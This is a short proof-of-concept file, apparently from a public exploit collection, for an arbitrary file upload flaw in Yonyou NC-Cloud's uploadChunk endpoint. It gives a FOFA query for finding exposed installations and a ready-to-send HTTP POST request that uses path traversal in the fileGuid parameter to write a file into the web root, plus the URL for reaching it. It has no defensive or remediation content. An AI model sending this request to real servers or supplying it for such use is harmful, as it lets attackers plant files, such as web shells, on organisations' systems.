wy876_POC/用友NC-Cloud uploadChunk 任意文件上传漏洞.md

用友NC-Cloud uploadChunk 任意文件上传漏洞

fofa

app="用友-NC-Cloud"

POC

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;
Content-Disposition: form-data; name="file"; filename="test.txt"
{{randstr}}
--024ff46f71634a1c9bf8ec5820c26fa9--

文件上传路径访问 /nccloud/test.txt